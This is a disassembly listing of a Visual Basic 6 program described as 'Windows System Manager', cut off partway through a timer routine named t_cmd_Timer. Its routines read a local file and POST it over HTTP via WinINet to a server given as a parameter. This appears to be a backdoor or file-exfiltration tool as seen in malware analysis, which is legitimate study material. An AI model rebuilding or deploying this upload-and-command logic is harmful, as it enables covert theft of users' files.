00403780
00403780 5f 5f 76 62 61 43 61 73 74 4f 62 6a 00 00 00 00 __vbaCastObj....
00403790 5f 5f 76 62 61 45 72 72 6f 72 4f 76 65 72 66 6c __vbaErrorOverfl
004037a0 6f 77 00 00 5f 5f 76 62 61 46 72 65 65 4f 62 6a ow..__vbaFreeObj
004037b0 4c 69 73 74 00 00 00 00 5f 5f 76 62 61 52 38 53 List....__vbaR8S
004037c0 74 72 00 00 5f 5f 76 62 61 53 74 72 52 38 00 00 tr..__vbaStrR8..
004037d0 5f 5f 76 62 61 53 74 72 43 6d 70 00 5f 5f 76 62 __vbaStrCmp.__vb
004037e0 61 53 74 72 49 32 00 00 5f 5f 76 62 61 4f 62 6a aStrI2..__vbaObj
004037f0 53 65 74 00 5f 5f 76 62 61 45 78 69 74 50 72 6f Set.__vbaExitPro
00403800 63 00 00 00 5f 5f 76 62 61 46 69 6c 65 43 6c 6f c...__vbaFileClo
00403810 73 65 41 6c 6c 00 00 00 5f 5f 76 62 61 46 69 6c seAll...__vbaFil
00403820 65 43 6c 6f 73 65 00 00 5f 5f 76 62 61 47 65 74 eClose..__vbaGet
00403830 33 00 00 00 5f 5f 76 62 61 46 69 6c 65 4f 70 65 3...__vbaFileOpe
00403840 6e 00 00 00 5f 5f 76 62 61 56 61 72 43 6f 70 79 n...__vbaVarCopy
00403850 00 00 00 00 5f 5f 76 62 61 56 61 72 43 61 74 00 ....__vbaVarCat.
00403860 5f 5f 76 62 61 4c 73 65 74 46 69 78 73 74 72 00 __vbaLsetFixstr.
00403870 5f 5f 76 62 61 4c 65 6e 42 73 74 72 00 00 00 00 __vbaLenBstr....
00403880 5f 5f 76 62 61 53 74 72 43 61 74 00 5f 5f 76 62 __vbaStrCat.__vb
00403890 61 46 72 65 65 53 74 72 4c 69 73 74 00 00 00 00 aFreeStrList....
004038a0 5f 5f 76 62 61 53 74 72 54 6f 55 6e 69 63 6f 64 __vbaStrToUnicod
004038b0 65 00 00 00 5f 5f 76 62 61 53 65 74 53 79 73 74 e...__vbaSetSyst
004038c0 65 6d 45 72 72 6f 72 00 5f 5f 76 62 61 53 74 72 emError.__vbaStr
004038d0 54 6f 41 6e 73 69 00 00 5f 5f 76 62 61 46 72 65 ToAnsi..__vbaFre
004038e0 65 56 61 72 00 00 00 00 5f 5f 76 62 61 53 74 72 eVar....__vbaStr
004038f0 56 61 72 4d 6f 76 65 00 5f 5f 76 62 61 4f 6e 45 VarMove.__vbaOnE
00403900 72 72 6f 72 00 00 00 00 5f 5f 76 62 61 46 69 78 rror....__vbaFix
00403910 73 74 72 43 6f 6e 73 74 72 75 63 74 00 00 00 00 strConstruct....
00403920 5f 5f 76 62 61 46 72 65 65 56 61 72 4c 69 73 74 __vbaFreeVarList
00403930 00 00 00 00 5f 5f 76 62 61 46 72 65 65 53 74 72 ....__vbaFreeStr
00403940 00 00 00 00 5f 5f 76 62 61 56 61 72 44 75 70 00 ....__vbaVarDup.
00403950 5f 5f 76 62 61 53 74 72 4d 6f 76 65 00 00 00 00 __vbaStrMove....
00403960 5f 5f 76 62 61 53 74 72 43 6f 70 79 00 00 00 00 __vbaStrCopy....
00403970 5f 5f 76 62 61 46 72 65 65 4f 62 6a 00 00 00 00 __vbaFreeObj....
00403980 5f 5f 76 62 61 48 72 65 73 75 6c 74 43 68 65 63 __vbaHresultChec
00403990 6b 4f 62 6a 00 00 00 00 5f 5f 76 62 61 4e 65 77 kObj....__vbaNew
004039a0 32 00 00 00 2...
004039a4
004039a4 struct VBObjectListEntry
004039a4 lpEntry uint32 0x403a18
004039a8
004039a8 54 28 40 00 54 28 40 00 T(@.T(@.
004039b0 60 28 40 00 6c 28 40 00 `(@.l(@.
004039b8 struct VBParamNameEntry[4] ; 0x4039b8-0x4039c8, 3 set, 1 null
004039b8 #0 lpEntry = 0x00403b40 ; "Server"
004039bc #1 lpEntry = 0x00403b48 ; "Script"
004039c0 #2 lpEntry = 0x00403b50 ; "filename"
004039c8
004039c8 00 00 00 00 00 00 00 00 ........
004039d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004039e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004039f0
004039f0 struct FuncTypDesc
004039f0 bArgSize uint8 0x10
004039f1 bFlags uint8 0x01 ; HasReturn
004039f2 wVTableOffset uint16 0x06f9
004039f4 iObjectIndex uint16 0xffff
004039f6 wReserved uint16 0x0000
004039f8 lpOptionalDefaults uint32 0x00000000
004039fc wNameIndex uint16 0x0001
004039fe bReturnType uint8 0x03
004039ff bFuncFlags uint8 0x60
00403a00 lpParamNames uint32 0x4039b8
00403a04
00403a04 00 00 00 00 00 00 00 00 00 00 00 00 ............
00403a10 1e 30 30 30 30 00 00 00 .0000...
00403a18
00403a18 struct PrivateObjectDescriptor
00403a18 lpHeapLink uint32 0x00000000
00403a1c lpObjectInfo uint32 0x4020a8
00403a20 dwReserved uint32 0xffffffff
00403a24 dwIdeData uint32 0x00000000
00403a28 wFuncCount int 10
00403a2a wFuncCount2 int 0
00403a2c wVarCount int 4
00403a2e wPad uint16 0x0000
00403a30 lpFuncTypDescs uint32 0x403a58
00403a34 lpExtendedFuncData uint32 0x00000000
00403a38 lpMethodNameTable uint32 0x4039c8
00403a3c lpParamNames uint32 0x4039a4
00403a40 lpVarStubs uint32 0x4039a8
00403a44 dwReserved2 [3]uint32 {0, 0, 0}
00403a50 dwDescSize uint32 0x00000064
00403a54 dwFlags uint32 0x00000004
00403a58 struct VBFuncTypDescEntry[30] ; 0x403a58-0x403ad0, 1 set, 29 null
00403aa8 #20 lpEntry = 0x004039f0
00403ad0
00403ad0 struct ProjectInfo2
00403ad0 lpHeapLink uint32 0x00000000
00403ad4 lpObjectTable uint32 0x402524
00403ad8 dwReserved uint32 0xffffffff
00403adc dwUnused uint32 0x00000000
00403ae0 lpObjectList uint32 0x4039a4
00403ae4 dwUnused2 uint32 0x00000000
00403ae8 szProjectDescription uint32 0x403af8
00403aec szProjectHelpFile uint32 0x00000000
00403af0 dwReserved2 uint32 0xffffffff
00403af4 dwHelpContextId int 0
00403af8
00403af8 string "Windows System Manager",0
00403b0f
00403b0f 00 .
00403b10 cc 27 40 00 64 27 40 00 bc a3 40 00 cc 27 40 00 .'@.d'@...@..'@.
00403b20 f4 27 40 00 c0 a3 40 00 cc 27 40 00 0c 28 40 00 .'@...@..'@..(@.
00403b30 c4 a3 40 00 cc 27 40 00 2c 28 40 00 c8 a3 40 00 ..@..'@.,(@...@.
00403b40
00403b40 string "Server",0
00403b47
00403b47 00 .
00403b48
00403b48 string "Script",0
00403b4f
00403b4f 00 .
00403b50
00403b50 string "filename",0
00403b59
00403b59 00 00 00 cc cc cc cc .......
00403b60 e9 e9 e9 e9 cc cc cc cc cc cc cc cc cc cc cc cc ................

00403d44
00403d44 // align 0x10

00403d50
00403d50frmMain.PostFile:
00403d50push ebp
00403d51mov ebp, esp
00403d53sub esp, 24
00403d56push 0x4014a6
00403d5bmov eax, [0x0]
00403d61push eax
00403d62mov [0x0], esp
00403d69mov eax, 152
00403d6ecall __vbaChkstk
00403d73push ebx
00403d74push esi
00403d75push edi
00403d76mov [ebp-24], esp
00403d79mov [ebp-20], 0x401180
00403d80mov [ebp-16], 0
00403d87mov [ebp-12], 0
00403d8emov eax, [ebp+8]
00403d91mov ecx, [eax]
00403d93mov edx, [ebp+8]
00403d96push edx
00403d97call [ecx+4]
00403d9amov [ebp-4], 1
00403da1mov eax, [ebp+24]
00403da4mov [eax], 0
00403daalea ecx, [ebp-36]
00403dadpush ecx
00403daepush 4096
00403db3call imp:msvbvm60!__vbaFixstrConstruct
00403db9mov [ebp-4], 2
00403dc0push -1
00403dc2call imp:msvbvm60!__vbaOnError
00403dc8mov [ebp-4], 3
00403dcflea edx, [ebp-108]
00403dd2push edx
00403dd3mov eax, [ebp+20]
00403dd6push eax
00403dd7mov ecx, [ebp+8]
00403ddamov edx, [ecx]
00403ddcmov eax, [ebp+8]
00403ddfpush eax
00403de0call [edx+1792]
00403de6lea ecx, [ebp-108]
00403de9push ecx
00403deacall imp:msvbvm60!__vbaStrVarMove
00403df0mov edx, eax
00403df2lea ecx, [ebp-44]
00403df5call imp:msvbvm60!__vbaStrMove
00403dfblea ecx, [ebp-108]
00403dfecall imp:msvbvm60!__vbaFreeVar
00403e04mov [ebp-4], 4
00403e0bmov [ebp-80], 0
00403e12mov [ebp-4], 5
00403e19mov [ebp-52], 0
00403e20mov [ebp-4], 6
00403e27mov [ebp-60], 0
00403e2emov [ebp-4], 7
00403e35push 0
00403e37push 0
00403e39push 0
00403e3bpush 0
00403e3dpush 0x40268c
00403e42lea edx, [ebp-84]
00403e45push edx
00403e46call imp:msvbvm60!__vbaStrToAnsi
00403e4cpush eax
00403e4dcall InternetOpenA
00403e52mov [ebp-164], eax
00403e58call imp:msvbvm60!__vbaSetSystemError
00403e5emov eax, [ebp-164]
00403e64mov [ebp-80], eax
00403e67lea ecx, [ebp-84]
00403e6acall imp:msvbvm60!__vbaFreeStr
00403e70mov [ebp-4], 8
00403e77cmp [ebp-80], 0
00403e7bje 0x404270
00403e81mov [ebp-4], 9
00403e88push 0
00403e8apush 0
00403e8cpush 3
00403e8epush 0x402f00
00403e93lea ecx, [ebp-88]
00403e96push ecx
00403e97call imp:msvbvm60!__vbaStrToAnsi
00403e9dpush eax
00403e9epush 0
00403ea0push 80
00403ea2mov edx, [ebp+12]
00403ea5mov eax, [edx]
00403ea7push eax
00403ea8lea ecx, [ebp-84]
00403eabpush ecx
00403eaccall imp:msvbvm60!__vbaStrToAnsi
00403eb2push eax
00403eb3mov edx, [ebp-80]
00403eb6push edx
00403eb7call InternetConnectA
00403ebcmov [ebp-164], eax
00403ec2call imp:msvbvm60!__vbaSetSystemError
00403ec8mov eax, [ebp-84]
00403ecbpush eax
00403eccmov ecx, [ebp+12]
00403ecfpush ecx
00403ed0call imp:msvbvm60!__vbaStrToUnicode
00403ed6mov edx, [ebp-164]
00403edcmov [ebp-52], edx
00403edflea eax, [ebp-88]
00403ee2push eax
00403ee3lea ecx, [ebp-84]
00403ee6push ecx
00403ee7push 2
00403ee9call imp:msvbvm60!__vbaFreeStrList
00403eefadd esp, 12
00403ef2mov [ebp-4], 10
00403ef9cmp [ebp-52], 0
00403efdje 0x404248
00403f03mov [ebp-4], 11
00403f0apush 0
00403f0cpush 0xffffffff80000000
00403f11push 0
00403f13push 0
00403f15push 0x402f00
00403f1alea edx, [ebp-92]
00403f1dpush edx
00403f1ecall imp:msvbvm60!__vbaStrToAnsi
00403f24push eax
00403f25mov eax, [ebp+16]
00403f28mov ecx, [eax]
00403f2apush ecx
00403f2blea edx, [ebp-88]
00403f2epush edx
00403f2fcall imp:msvbvm60!__vbaStrToAnsi
00403f35push eax
00403f36push 0x402f18
00403f3blea eax, [ebp-84]
00403f3epush eax
00403f3fcall imp:msvbvm60!__vbaStrToAnsi
00403f45push eax
00403f46mov ecx, [ebp-52]
00403f49push ecx
00403f4acall HttpOpenRequestA
00403f4fmov [ebp-164], eax
00403f55call imp:msvbvm60!__vbaSetSystemError
00403f5bmov edx, [ebp-88]
00403f5epush edx
00403f5fmov eax, [ebp+16]
00403f62push eax
00403f63call imp:msvbvm60!__vbaStrToUnicode
00403f69mov ecx, [ebp-164]
00403f6fmov [ebp-60], ecx
00403f72lea edx, [ebp-92]
00403f75push edx
00403f76lea eax, [ebp-88]
00403f79push eax
00403f7alea ecx, [ebp-84]
00403f7dpush ecx
00403f7epush 3
00403f80call imp:msvbvm60!__vbaFreeStrList
00403f86add esp, 16
00403f89mov [ebp-4], 12
00403f90cmp [ebp-60], 0
00403f94je 0x404220
00403f9amov [ebp-4], 13
00403fa1push 0x402f28
00403fa6push 0x402634
00403fabcall imp:msvbvm60!__vbaStrCat
00403fb1mov edx, eax
00403fb3lea ecx, [ebp-84]
00403fb6call imp:msvbvm60!__vbaStrMove
00403fbcpush eax
00403fbdpush 0x402f88
00403fc2call imp:msvbvm60!__vbaStrCat
00403fc8mov edx, eax
00403fcalea ecx, [ebp-76]
00403fcdcall imp:msvbvm60!__vbaStrMove
00403fd3lea ecx, [ebp-84]
00403fd6call imp:msvbvm60!__vbaFreeStr
00403fdcmov [ebp-4], 14
00403fe3mov edx, [ebp-44]
00403fe6push edx
00403fe7call imp:msvbvm60!__vbaLenBstr
00403fedmov [ebp-40], eax
00403ff0mov [ebp-4], 15
00403ff7mov eax, [ebp-40]
00403ffapush eax
00403ffbmov ecx, [ebp-44]
00403ffepush ecx
00403ffflea edx, [ebp-88]
00404002push edx
00404003call imp:msvbvm60!__vbaStrToAnsi
00404009push eax
0040400amov eax, [ebp-76]
0040400dpush eax
0040400ecall imp:msvbvm60!__vbaLenBstr
00404014push eax
00404015mov ecx, [ebp-76]
00404018push ecx
00404019lea edx, [ebp-84]
0040401cpush edx
0040401dcall imp:msvbvm60!__vbaStrToAnsi
00404023push eax
00404024mov eax, [ebp-60]
00404027push eax
00404028call HttpSendRequestA
0040402dmov [ebp-160], ax
00404034call imp:msvbvm60!__vbaSetSystemError
0040403amov ecx, [ebp-84]
0040403dpush ecx
0040403elea edx, [ebp-76]
00404041push edx
00404042call imp:msvbvm60!__vbaStrToUnicode
00404048mov eax, [ebp-88]
0040404bpush eax
0040404clea ecx, [ebp-44]
0040404fpush ecx
00404050call imp:msvbvm60!__vbaStrToUnicode
00404056mov dx, [ebp-160]
0040405dmov [ebp-68], dx
00404061lea eax, [ebp-88]
00404064push eax
00404065lea ecx, [ebp-84]
00404068push ecx
00404069push 2
0040406bcall imp:msvbvm60!__vbaFreeStrList
00404071add esp, 12
00404074mov [ebp-4], 16
0040407bmov [ebp-72], -1
00404081
00404081loc_404081:
00404081mov [ebp-4], 17
00404088movsx edx, [ebp-72]
0040408ctest edx, edx
0040408eje 0x4041e5
00404094mov [ebp-4], 18
0040409bpush 0
0040409dmov eax, [ebp-36]
004040a0push eax
004040a1push 0
004040a3call imp:msvbvm60!__vbaLsetFixstr
004040a9mov [ebp-4], 19
004040b0lea ecx, [ebp-64]
004040b3push ecx
004040b4mov edx, [ebp-36]
004040b7push edx
004040b8call imp:msvbvm60!__vbaLenBstr
004040bepush eax
004040bfmov eax, [ebp-36]
004040c2push eax
004040c3lea ecx, [ebp-84]
004040c6push ecx
004040c7call imp:msvbvm60!__vbaStrToAnsi
004040cdpush eax
004040cemov edx, [ebp-60]
004040d1push edx
004040d2call InternetReadFile
004040d7mov [ebp-160], ax
004040decall imp:msvbvm60!__vbaSetSystemError
004040e4mov eax, [ebp-84]
004040e7push eax
004040e8lea ecx, [ebp-88]
004040ebpush ecx
004040eccall imp:msvbvm60!__vbaStrToUnicode
004040f2push eax
004040f3mov edx, [ebp-36]
004040f6push edx
004040f7push 0
004040f9call imp:msvbvm60!__vbaLsetFixstr
004040ffxor eax, eax
00404101cmp [ebp-160], 0
00404109setne al
0040410cneg eax
0040410emov [ebp-72], ax
00404112lea ecx, [ebp-88]
00404115push ecx
00404116lea edx, [ebp-84]
00404119push edx
0040411apush 2
0040411ccall imp:msvbvm60!__vbaFreeStrList
00404122add esp, 12
00404125mov [ebp-4], 20
0040412cmov eax, [ebp-56]
0040412fmov [ebp-148], eax
00404135mov [ebp-156], 8
0040413fmov edx, [ebp-36]
00404142lea ecx, [ebp-84]
00404145call imp:msvbvm60!__vbaStrCopy
0040414blea ecx, [ebp-84]
0040414emov [ebp-132], ecx
00404154mov [ebp-140], 16392
0040415emov edx, [ebp-64]
00404161push edx
00404162lea eax, [ebp-140]
00404168push eax
00404169lea ecx, [ebp-108]
0040416cpush ecx
0040416dcall imp:msvbvm60!rtcLeftCharVar
00404173mov edx, [ebp-84]
00404176push edx
00404177mov eax, [ebp-36]
0040417apush eax
0040417bpush 0
0040417dcall imp:msvbvm60!__vbaLsetFixstr
00404183lea ecx, [ebp-156]
00404189push ecx
0040418alea edx, [ebp-108]
0040418dpush edx
0040418elea eax, [ebp-124]
00404191push eax
00404192call imp:msvbvm60!__vbaVarCat
00404198push eax
00404199call imp:msvbvm60!__vbaStrVarMove
0040419fmov edx, eax
004041a1lea ecx, [ebp-56]
004041a4call imp:msvbvm60!__vbaStrMove
004041aalea ecx, [ebp-84]
004041adcall imp:msvbvm60!__vbaFreeStr
004041b3lea ecx, [ebp-124]
004041b6push ecx
004041b7lea edx, [ebp-108]
004041bapush edx
004041bbpush 2
004041bdcall imp:msvbvm60!__vbaFreeVarList
004041c3add esp, 12
004041c6mov [ebp-4], 21
004041cdcmp [ebp-64], 0
004041d1jne 0x4041e0
004041d3mov [ebp-4], 22
004041damov [ebp-72], 0
004041e0
004041e0loc_4041e0:
004041e0jmp 0x404081
004041e5
004041e5loc_4041e5:
004041e5mov [ebp-4], 25
004041ecmov edx, [ebp-56]
004041eflea ecx, [ebp-48]
004041f2call imp:msvbvm60!__vbaStrCopy
004041f8mov [ebp-4], 26
004041ffmov eax, [ebp-60]
00404202push eax
00404203call InternetCloseHandle
00404208mov [ebp-160], ax
0040420fcall imp:msvbvm60!__vbaSetSystemError
00404215mov cx, [ebp-160]
0040421cmov [ebp-68], cx
00404220
00404220loc_404220:
00404220mov [ebp-4], 28
00404227mov edx, [ebp-52]
0040422apush edx
0040422bcall InternetCloseHandle
00404230mov [ebp-160], ax
00404237call imp:msvbvm60!__vbaSetSystemError
0040423dmov ax, [ebp-160]
00404244mov [ebp-68], ax
00404248
00404248loc_404248:
00404248mov [ebp-4], 30
0040424fmov ecx, [ebp-80]
00404252push ecx
00404253call InternetCloseHandle
00404258mov [ebp-160], ax
0040425fcall imp:msvbvm60!__vbaSetSystemError
00404265mov dx, [ebp-160]
0040426cmov [ebp-68], dx
00404270
00404270loc_404270:
00404270push 0x4042da
00404275jmp 0x4042b5
00404277
00404277 8b 45 f0 83 e0 04 85 c0 74 .E......t
00404280 09 8d 4d d0 ff 15 64 11 40 00 8d 4d a4 51 8d 55 ..M...d.@..M.Q.U
00404290 a8 52 8d 45 ac 50 6a 03 ff 15 08 11 40 00 83 c4 .R.E.Pj.....@...
004042a0 10 8d 4d 84 51 8d 55 94 52 6a 02 ff 15 18 10 40 ..M.Q.U.Rj.....@
004042b0 00 83 c4 0c c3 .....
004042b5
004042b5loc_4042b5:
004042b5lea ecx, [ebp-36]
004042b8call imp:msvbvm60!__vbaFreeStr
004042belea ecx, [ebp-44]
004042c1call imp:msvbvm60!__vbaFreeStr
004042c7lea ecx, [ebp-56]
004042cacall imp:msvbvm60!__vbaFreeStr
004042d0lea ecx, [ebp-76]
004042d3call imp:msvbvm60!__vbaFreeStr
004042d9ret
004042damov eax, [ebp+8]
004042ddmov ecx, [eax]
004042dfmov edx, [ebp+8]
004042e2push edx
004042e3call [ecx+8]
004042e6mov eax, [ebp+24]
004042e9mov ecx, [ebp-48]
004042ecmov [eax], ecx
004042eemov eax, [ebp-16]
004042f1mov ecx, [ebp-32]
004042f4mov [0x0], ecx
004042fbpop edi
004042fcpop esi
004042fdpop ebx
004042femov esp, ebp
00404300pop ebp
00404301ret 20
00403d50

00404304
00404304 // align 0x10

00404310
00404310frmMain.proc_448:
00404310push ebp
00404311mov ebp, esp
00404313sub esp, 12
00404316push 0x4014a6
0040431bmov eax, [0x0]
00404321push eax
00404322mov [0x0], esp
00404329sub esp, 56
0040432cpush ebx
0040432dpush esi
0040432epush edi
0040432fmov [ebp-12], esp
00404332mov [ebp-8], 0x401220
00404339mov ecx, [ebp+16]
0040433cmov esi, imp:msvbvm60!__vbaStrCat
00404342xor eax, eax
00404344push eax
00404345push 0x402f94
0040434amov [ebp-24], eax
0040434dmov [ebp-40], eax
00404350mov [ebp-44], eax
00404353mov [ebp-48], eax
00404356mov [ebp-52], eax
00404359mov [ebp-68], eax
0040435cmov [ecx], eax
0040435ecall esi
00404360mov edi, imp:msvbvm60!__vbaStrMove
00404366mov edx, eax
00404368lea ecx, [ebp-44]
0040436bcall edi
0040436dpush eax
0040436epush 0x402634
00404373call esi
00404375mov edx, eax
00404377lea ecx, [ebp-48]
0040437acall edi
0040437cpush eax
0040437dpush 0x402f88
00404382call esi
00404384mov edx, eax
00404386lea ecx, [ebp-24]
00404389call edi
0040438bmov ebx, imp:msvbvm60!__vbaFreeStrList
00404391lea edx, [ebp-48]
00404394lea eax, [ebp-44]
00404397push edx
00404398push eax
00404399push 2
0040439bcall ebx
0040439dmov ecx, [ebp-24]
004043a0add esp, 12
004043a3push ecx
004043a4push 0x402fa0
004043a9call esi
004043abmov edx, eax
004043adlea ecx, [ebp-44]
004043b0call edi
004043b2push eax
004043b3push 0x402f88
004043b8call esi
004043bamov edx, eax
004043bclea ecx, [ebp-24]
004043bfcall edi
004043c1lea ecx, [ebp-44]
004043c4call imp:msvbvm60!__vbaFreeStr
004043camov edx, [ebp-24]
004043cdpush edx
004043cepush 0x402f88
004043d3call esi
004043d5mov edx, eax
004043d7lea ecx, [ebp-24]
004043dacall edi
004043dcmov ecx, [ebp+8]
004043dfmov eax, [ebp-24]
004043e2push eax
004043e3mov edx, [ecx+56]
004043e6push edx
004043e7call esi
004043e9mov edx, eax
004043eblea ecx, [ebp-24]
004043eecall edi
004043f0mov eax, [ebp-24]
004043f3push eax
004043f4push 0x402f88
004043f9call esi
004043fbmov edx, eax
004043fdlea ecx, [ebp-24]
00404400call edi
00404402mov ecx, [ebp-24]
00404405push ecx
00404406push 0x402f94
0040440bcall esi
0040440dmov edx, eax
0040440flea ecx, [ebp-44]
00404412call edi
00404414push eax
00404415push 0x402634
0040441acall esi
0040441cmov edx, eax
0040441elea ecx, [ebp-48]
00404421call edi
00404423push eax
00404424push 0x402f88
00404429call esi
0040442bmov edx, eax
0040442dlea ecx, [ebp-24]
00404430call edi
00404432lea edx, [ebp-48]
00404435lea eax, [ebp-44]
00404438push edx
00404439push eax
0040443apush 2
0040443ccall ebx
0040443emov ecx, [ebp-24]
00404441add esp, 12
00404444push ecx
00404445push 0x403050
0040444acall esi
0040444cmov edx, eax
0040444elea ecx, [ebp-44]
00404451call edi
00404453mov edx, [ebp+12]
00404456push eax
00404457mov eax, [edx]
00404459push eax
0040445acall esi
0040445cmov edx, eax
0040445elea ecx, [ebp-48]
00404461call edi
00404463push eax
00404464push 0x4030cc
00404469call esi
0040446bmov edx, eax
0040446dlea ecx, [ebp-52]
00404470call edi
00404472push eax
00404473push 0x402f88
00404478call esi
0040447amov edx, eax
0040447clea ecx, [ebp-24]
0040447fcall edi
00404481lea ecx, [ebp-52]
00404484lea edx, [ebp-48]
00404487push ecx
00404488lea eax, [ebp-44]
0040448bpush edx
0040448cpush eax
0040448dpush 3
0040448fcall ebx
00404491mov ecx, [ebp-24]
00404494add esp, 16
00404497push ecx
00404498push 0x4030d4
0040449dcall esi
0040449fmov edx, eax
004044a1lea ecx, [ebp-44]
004044a4call edi
004044a6push eax
004044a7push 0x402f88
004044accall esi
004044aemov edx, eax
004044b0lea ecx, [ebp-24]
004044b3call edi
004044b5lea ecx, [ebp-44]
004044b8call imp:msvbvm60!__vbaFreeStr
004044bemov edx, [ebp-24]
004044c1push edx
004044c2push 0x402f88
004044c7call esi
004044c9mov edx, eax
004044cblea ecx, [ebp-24]
004044cecall edi
004044d0mov eax, [ebp+8]
004044d3lea edx, [ebp-44]
004044d6push edx
004044d7mov edx, [ebp+12]
004044damov ecx, [eax]
004044dcpush edx
004044ddpush eax
004044decall [ecx+1796]
004044e4mov eax, [ebp-24]
004044e7mov ecx, [ebp-44]
004044eapush eax
004044ebpush ecx
004044eccall esi
004044eemov edx, eax
004044f0lea ecx, [ebp-48]
004044f3call edi
004044f5push eax
004044f6push 0x402f88
004044fbcall esi
004044fdmov edx, eax
004044fflea ecx, [ebp-24]
00404502call edi
00404504lea edx, [ebp-48]
00404507lea eax, [ebp-44]
0040450apush edx
0040450bpush eax
0040450cpush 2
0040450ecall ebx
00404510mov ecx, [ebp-24]
00404513add esp, 12
00404516push ecx
00404517push 0x402f94
0040451ccall esi
0040451emov edx, eax
00404520lea ecx, [ebp-44]
00404523call edi
00404525push eax
00404526push 0x402634
0040452bcall esi
0040452dmov edx, eax
0040452flea ecx, [ebp-48]
00404532call edi
00404534push eax
00404535push 0x402f94
0040453acall esi
0040453cmov edx, eax
0040453elea ecx, [ebp-52]
00404541call edi
00404543push eax
00404544push 0x402f88
00404549call esi
0040454bmov edx, eax
0040454dlea ecx, [ebp-24]
00404550call edi
00404552lea edx, [ebp-52]
00404555lea eax, [ebp-48]
00404558push edx
00404559lea ecx, [ebp-44]
0040455cpush eax
0040455dpush ecx
0040455epush 3
00404560call ebx
00404562mov edx, [ebp-24]
00404565add esp, 16
00404568mov [ebp-60], edx
0040456blea edx, [ebp-68]
0040456elea ecx, [ebp-40]
00404571mov [ebp-68], 8
00404578call imp:msvbvm60!__vbaVarCopy
0040457epush 0x4045b6
00404583jmp 0x4045ac
00404585
00404585 f6 45 fc 04 74 09 8d 4d d8 ff 15 .E..t..M...
00404590 0c 10 40 00 8d 45 cc 8d 4d d0 50 8d 55 d4 51 52 ..@..E..M.P.U.QR
004045a0 6a 03 ff 15 08 11 40 00 83 c4 10 c3 j.....@.....
004045ac
004045acloc_4045ac:
004045aclea ecx, [ebp-24]
004045afcall imp:msvbvm60!__vbaFreeStr
004045b5ret
004045b6mov eax, [ebp+16]
004045b9mov ecx, [ebp-40]
004045bcmov edx, [ebp-36]
004045bfpop edi
004045c0mov [eax], ecx
004045c2mov ecx, [ebp-32]
004045c5pop esi
004045c6pop ebx
004045c7mov [eax+4], edx
004045camov edx, [ebp-28]
004045cdmov [eax+8], ecx
004045d0mov ecx, [ebp-20]
004045d3mov [eax+12], edx
004045d6xor eax, eax
004045d8mov [0x0], ecx
004045dfmov esp, ebp
004045e1pop ebp
004045e2ret 12
00404310

004045e5
004045e5 // align 0x10

004045f0
004045f0frmMain.proc_449:
004045f0push ebp
004045f1mov ebp, esp
004045f3sub esp, 20
004045f6push 0x4014a6
004045fbmov eax, [0x0]
00404601push eax
00404602mov [0x0], esp
00404609sub esp, 68
0040460cpush ebx
0040460dpush esi
0040460epush edi
0040460fmov [ebp-20], esp
00404612mov [ebp-16], 0x401230
00404619xor edi, edi
0040461bmov [ebp-12], edi
0040461emov [ebp-8], edi
00404621mov [ebp-32], edi
00404624mov [ebp-36], edi
00404627mov [ebp-44], edi
0040462amov [ebp-60], edi
0040462dmov [ebp-76], edi
00404630mov eax, [ebp+16]
00404633mov [eax], edi
00404635mov ecx, [ebp+12]
00404638mov [ebp-68], ecx
0040463bmov [ebp-76], 16392
00404642push edi
00404643lea edx, [ebp-76]
00404646push edx
00404647call imp:msvbvm60!rtcDir
0040464dmov edx, eax
0040464flea ecx, [ebp-44]
00404652call imp:msvbvm60!__vbaStrMove
00404658push eax
00404659call imp:msvbvm60!__vbaLenBstr
0040465fmov esi, eax
00404661neg esi
00404663sbb esi, esi
00404665inc esi
00404666neg esi
00404668lea ecx, [ebp-44]
0040466bcall imp:msvbvm60!__vbaFreeStr
00404671cmp si, di
00404674jne 0x404716
0040467apush 1
0040467ccall imp:msvbvm60!__vbaOnError
00404682mov [ebp-52], 0xffffffff80020004
00404689mov [ebp-60], 10
00404690lea eax, [ebp-60]
00404693push eax
00404694call imp:msvbvm60!rtcFreeFile
0040469amov esi, eax
0040469clea ecx, [ebp-60]
0040469fmov ebx, imp:msvbvm60!__vbaFreeVar
004046a5call ebx
004046a7mov ecx, [ebp+12]
004046aamov edx, [ecx]
004046acpush edx
004046adpush esi
004046aepush -1
004046b0push 32
004046b2call imp:msvbvm60!__vbaFileOpen
004046b8push esi
004046b9call imp:msvbvm60!rtcFileLength
004046bfpush eax
004046c0lea eax, [ebp-60]
004046c3push eax
004046c4call imp:msvbvm60!rtcSpaceVar
004046calea ecx, [ebp-60]
004046cdpush ecx
004046cecall imp:msvbvm60!__vbaStrVarMove
004046d4mov edx, eax
004046d6lea ecx, [ebp-32]
004046d9call imp:msvbvm60!__vbaStrMove
004046dflea ecx, [ebp-60]
004046e2call ebx
004046e4push esi
004046e5lea edx, [ebp-32]
004046e8push edx
004046e9push edi
004046eacall imp:msvbvm60!__vbaGet3
004046f0push esi
004046f1call imp:msvbvm60!__vbaFileClose
004046f7mov edx, [ebp-32]
004046falea ecx, [ebp-36]
004046fdcall imp:msvbvm60!__vbaStrCopy
00404703call imp:msvbvm60!__vbaExitProc
00404709push 0x40474f
0040470ejmp 0x404745
00404710
00404710 ff 15 48 10 40 00 ..H.@.
00404716
00404716loc_404716:
00404716call imp:msvbvm60!__vbaExitProc
0040471cpush 0x40474f
00404721jmp 0x404745
00404723
00404723 f6 45 f4 04 74 09 8d 4d dc ff 15 64 11 .E..t..M...d.
00404730 40 00 8d 4d d4 ff 15 64 11 40 00 8d 4d c4 ff 15 @..M...d.@..M...
00404740 0c 10 40 00 c3 ..@..
00404745
00404745loc_404745:
00404745lea ecx, [ebp-32]
00404748call imp:msvbvm60!__vbaFreeStr
0040474eret
0040474fmov eax, [ebp+16]
00404752mov ecx, [ebp-36]
00404755mov [eax], ecx
00404757xor eax, eax
00404759mov ecx, [ebp-28]
0040475cmov [0x0], ecx
00404763pop edi
00404764pop esi
00404765pop ebx
00404766mov esp, ebp
00404768pop ebp
00404769ret 12
004045f0

0040476c
0040476c // align 0x10

00404770
00404770frmMain.t_cmd_Timer:
00404770push ebp
00404771mov ebp, esp
00404773sub esp, 24
00404776push 0x4014a6
0040477bmov eax, [0x0]
00404781push eax
00404782mov [0x0], esp
00404789mov eax, 244
0040478ecall __vbaChkstk
00404793push ebx
00404794push esi
00404795push edi
00404796mov [ebp-24], esp
00404799mov [ebp-20], 0x401258
004047a0mov eax, [ebp+8]
004047a3and eax, 1
004047a6mov [ebp-16], eax
004047a9mov ecx, [ebp+8]
